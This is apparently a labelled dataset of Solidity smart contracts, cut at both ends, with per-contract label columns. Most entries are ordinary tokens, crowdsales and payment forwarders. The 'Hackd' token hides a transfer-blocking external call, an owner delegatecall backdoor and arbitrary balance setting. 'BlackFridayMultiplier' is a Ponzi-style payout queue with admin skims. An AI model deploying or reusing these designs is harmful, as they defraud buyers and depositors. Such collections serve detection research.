address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 156 |
pragma solidity ^0.4.21;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
emit Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 2;
uint8 constant TOKEN_DECIMALS_UINT8 = 2;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "criptium";
string constant TOKEN_SYMBOL = "CRIP";
bool constant PAUSED = false;
address constant TARGET_USER = 0x26a8cA94E953500e03218A3289a533A6484a77b7;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,484 |
pragma solidity ^0.4.25;
contract BlackFridayMultiplier {
address constant private Reclame = 0xC7FCc602088b49c816b1A36848f62c35516F0F8B;
uint constant public Reclame_PERCENT = 2;
address constant private Admin = 0x942Ee0aDa641749861c47E27E6d5c09244E4d7c8;
uint constant public Admin_PERCENT = 2;
address constant private BMG = 0xaCB0406c163fBB614A36088d7F7fa0B374A60Cd1;
uint constant public BMG_PERCENT = 2;
uint constant public Refferal_PERCENT = 5;
uint constant public MULTIPLIER = 110;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
require(tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 10 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*Reclame_PERCENT/100;
Reclame.send(promo);
uint admin = msg.value*Admin_PERCENT/100;
Admin.send(admin);
uint bmg = msg.value*BMG_PERCENT/100;
BMG.send(bmg);
pay();
}
}
function refferal (address REF) public payable {
require(tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 10 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*Reclame_PERCENT/100;
Reclame.send(promo);
uint admin = msg.value*Admin_PERCENT/100;
Admin.send(admin);
uint bmg = msg.value*BMG_PERCENT/100;
BMG.send(bmg);
require(REF != 0x0000000000000000000000000000000000000000 && REF != msg.sender, "You need another refferal!");
uint ref = msg.value*Refferal_PERCENT/100;
REF.send(ref);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 194 |
pragma solidity 0.5.3;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract KyberNetworkProxyInterface {
function swapEtherToToken(IERC20 token, uint minConversionRate) public payable returns (uint);
function swapTokenToToken(IERC20 src, uint srcAmount, IERC20 dest, uint minConversionRate) public returns (uint);
}
contract PaymentsLayer {
using SafeERC20 for IERC20;
using SafeMath for uint256;
address public constant DAI_ADDRESS = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
IERC20 public dai = IERC20(DAI_ADDRESS);
address public constant ETH_TOKEN_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
event PaymentForwarded(address indexed from, address indexed to, address indexed srcToken, uint256 amountDai, uint256 amountSrc, uint256 changeDai, bytes encodedFunctionCall);
function forwardEth(KyberNetworkProxyInterface _kyberNetworkProxy, IERC20 _srcToken, uint256 _minimumRate, address _destinationAddress, bytes memory _encodedFunctionCall) public payable {
require(address(_srcToken) != address(0) && _minimumRate > 0 && _destinationAddress != address(0), "invalid parameter(s)");
uint256 srcQuantity = address(_srcToken) == ETH_TOKEN_ADDRESS ? msg.value : _srcToken.allowance(msg.sender, address(this));
if (address(_srcToken) != ETH_TOKEN_ADDRESS) {
_srcToken.safeTransferFrom(msg.sender, address(this), srcQuantity);
require(_srcToken.allowance(address(this), address(_kyberNetworkProxy)) == 0, "non-zero initial _kyberNetworkProxy allowance");
require(_srcToken.approve(address(_kyberNetworkProxy), srcQuantity), "approving _kyberNetworkProxy failed");
}
uint256 amountDai = address(_srcToken) == ETH_TOKEN_ADDRESS ? _kyberNetworkProxy.swapEtherToToken.value(srcQuantity)(dai, _minimumRate) : _kyberNetworkProxy.swapTokenToToken(_srcToken, srcQuantity, dai, _minimumRate);
require(amountDai >= srcQuantity.mul(_minimumRate).div(1e18), "_kyberNetworkProxy failed");
require(dai.allowance(address(this), _destinationAddress) == 0, "non-zero initial destination allowance");
require(dai.approve(_destinationAddress, amountDai), "approving destination failed");
(bool success, ) = _destinationAddress.call(_encodedFunctionCall);
require(success, "destination call failed");
uint256 changeDai = dai.allowance(address(this), _destinationAddress);
if (changeDai > 0) {
dai.safeTransfer(msg.sender, changeDai);
require(dai.approve(_destinationAddress, 0), "un-approving destination failed");
}
emit PaymentForwarded(msg.sender, _destinationAddress, address(_srcToken), amountDai.sub(changeDai), srcQuantity, changeDai, _encodedFunctionCall);
}
} | 0 | 615 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Hackd is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000000;
string public name = "HACKD";
string public symbol = "HACKD";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 0 | 643 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require(token.approve(spender, value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 rate, address wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(token != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns(IERC20) {
return _token;
}
function wallet() public view returns(address) {
return _wallet;
}
function rate() public view returns(uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(
msg.sender,
beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
}
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(
address beneficiary,
uint256 weiAmount
)
internal
{
}
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract TieredPriceCrowdsale is Crowdsale {
uint256 private _baseRate;
uint256 private _tier2Start;
uint256 private _tier3Start;
uint256 private _tier4Start;
constructor(
uint256 baseRate,
uint256 openingTimeTier2,
uint256 openingTimeTier3,
uint256 openingTimeTier4
)
public
{
require(baseRate > 0);
require(openingTimeTier2 > block.timestamp);
require(openingTimeTier3 >= openingTimeTier2);
require(openingTimeTier4 >= openingTimeTier3);
_baseRate = baseRate;
_tier4Start = openingTimeTier4;
_tier3Start = openingTimeTier3;
_tier2Start = openingTimeTier2;
}
function _getbonusRate()
internal view returns (uint256)
{
if(_tier2Start > block.timestamp){
return(_baseRate * 6 / 5);
}
else if(_tier3Start > block.timestamp){
return(_baseRate * 11 / 10);
}
else if(_tier4Start > block.timestamp){
return(_baseRate * 21 / 20);
}
else {
return(_baseRate);
}
}
function bonusRate() public view returns(uint256) {
return _getbonusRate();
}
function tierStartTime(
uint256 tier
) external view returns(uint256)
{
if(tier == 2){
return _tier2Start;
}
else if(tier == 3){
return _tier3Start;
}
else if(tier == 4){
return _tier4Start;
}
return 0;
}
function _getTokenAmount(
uint256 weiAmount
)
internal view returns (uint256)
{
return weiAmount.mul(_getbonusRate());
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract CapperRole {
